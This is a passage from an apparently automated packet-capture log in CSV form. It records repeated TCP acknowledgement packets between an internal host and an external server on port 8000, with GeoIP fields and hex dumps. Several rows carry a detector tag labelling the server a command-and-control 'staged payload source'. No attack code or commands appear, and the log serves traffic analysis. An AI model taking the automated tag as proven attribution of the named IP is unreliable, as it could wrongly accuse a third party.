\"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42225, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35586, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263063, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263062, 1192263063))]\"\"}}]\"\n2026-07-01 09:12:15.962269,881,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263062 Ack=244801123,bc24112907bbbc2411360d0c080045000029b14c400080063eb20a98980bc0a3a789fa651f4047107d960e975e635010201439a8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45388, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16050, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263062, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14760, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:15.962301,882,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263063,bc2411360d0cbc24112907bb080045000034a4f2400040068b01c0a3a7890a98980b1f40fa650e975e6347107d978010003f0af700000101050a47107d9647107d97,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42226, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35585, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263063, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263062, 1192263063))]\"\"}}]\"\n2026-07-01 09:12:16.977905,883,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263062 Ack=244801123,bc24112907bbbc2411360d0c080045000029b14d400080063eb10a98980bc0a3a789fa651f4047107d960e975e635010201439a8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45389, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16049, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263062, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14760, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:16.977928,884,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263063,bc2411360d0cbc24112907bb080045000034a4f3400040068b00c0a3a7890a98980b1f40fa650e975e6347107d978010003f0af700000101050a47107d9647107d97,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42227, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35584, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263063, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263062, 1192263063))]\"\"}}]\"\n2026-07-01 09:12:17.993543,885,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263062 Ack=244801123,bc24112907bbbc2411360d0c080045000029b14e400080063eb00a98980bc0a3a789fa651f4047107d960e975e635010201439a8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45390, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16048, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263062, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14760, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:17.993584,886,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263063,bc2411360d0cbc24112907bb080045000034a4f4400040068affc0a3a7890a98980b1f40fa650e975e6347107d978010003f0af700000101050a47107d9647107d97,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42228, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35583, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263063, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263062, 1192263063))]\"\"}}]\"\n2026-07-01 09:12:19.009202,887,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263062 Ack=244801123,bc24112907bbbc2411360d0c080045000029b14f400080063eaf0a98980bc0a3a789fa651f4047107d960e975e635010201439a8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45391, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16047, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263062, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14760, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:19.009232,888,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263063,bc2411360d0cbc24112907bb080045000034a4f5400040068afec0a3a7890a98980b1f40fa650e975e6347107d978010003f0af700000101050a47107d9647107d97,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42229, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35582, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263063, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263062, 1192263063))]\"\"}}]\"\n2026-07-01 09:12:20.024934,889,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263062 Ack=244801123,bc24112907bbbc2411360d0c080045000029b150400080063eae0a98980bc0a3a789fa651f4047107d960e975e635010201439a8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45392, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16046, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263062, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14760, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:20.024966,890,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263063,bc2411360d0cbc24112907bb080045000034a4f6400040068afdc0a3a7890a98980b1f40fa650e975e6347107d978010003f0af700000101050a47107d9647107d97,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42230, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35581, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263063, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263062, 1192263063))]\"\"}}]\"\n2026-07-01 09:12:21.024895,891,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263062 Ack=244801123,bc24112907bbbc2411360d0c080045000029b151400080063ead0a98980bc0a3a789fa651f4047107d960e975e635010201439a8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45393, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16045, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263062, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14760, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:21.024924,892,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263063,bc2411360d0cbc24112907bb080045000034a4f7400040068afcc0a3a7890a98980b1f40fa650e975e6347107d978010003f0af700000101050a47107d9647107d97,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42231, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35580, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263063, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263062, 1192263063))]\"\"}}]\"\n2026-07-01 09:12:22.024906,893,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263062 Ack=244801123,bc24112907bbbc2411360d0c080045000029b152400080063eac0a98980bc0a3a789fa651f4047107d960e975e635010201439a8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45394, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16044, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263062, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14760, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:22.024931,894,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263063,bc2411360d0cbc24112907bb080045000034a4f8400040068afbc0a3a7890a98980b1f40fa650e975e6347107d978010003f0af700000101050a47107d9647107d97,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42232, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35579, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263063, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263062, 1192263063))]\"\"}}]\"\n2026-07-01 09:12:23.024911,895,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263062 Ack=244801123,bc24112907bbbc2411360d0c080045000029b153400080063eab0a98980bc0a3a789fa651f4047107d960e975e635010201439a8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45395, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16043, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263062, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14760, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:23.024943,896,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263063,bc2411360d0cbc24112907bb080045000034a4f9400040068afac0a3a7890a98980b1f40fa650e975e6347107d978010003f0af700000101050a47107d9647107d97,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42233, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35578, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263063, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263062, 1192263063))]\"\"}}]\"\n2026-07-01 09:12:24.040586,897,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263062 Ack=244801123,bc24112907bbbc2411360d0c080045000029b154400080063eaa0a98980bc0a3a789fa651f4047107d960e975e635010201439a8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": 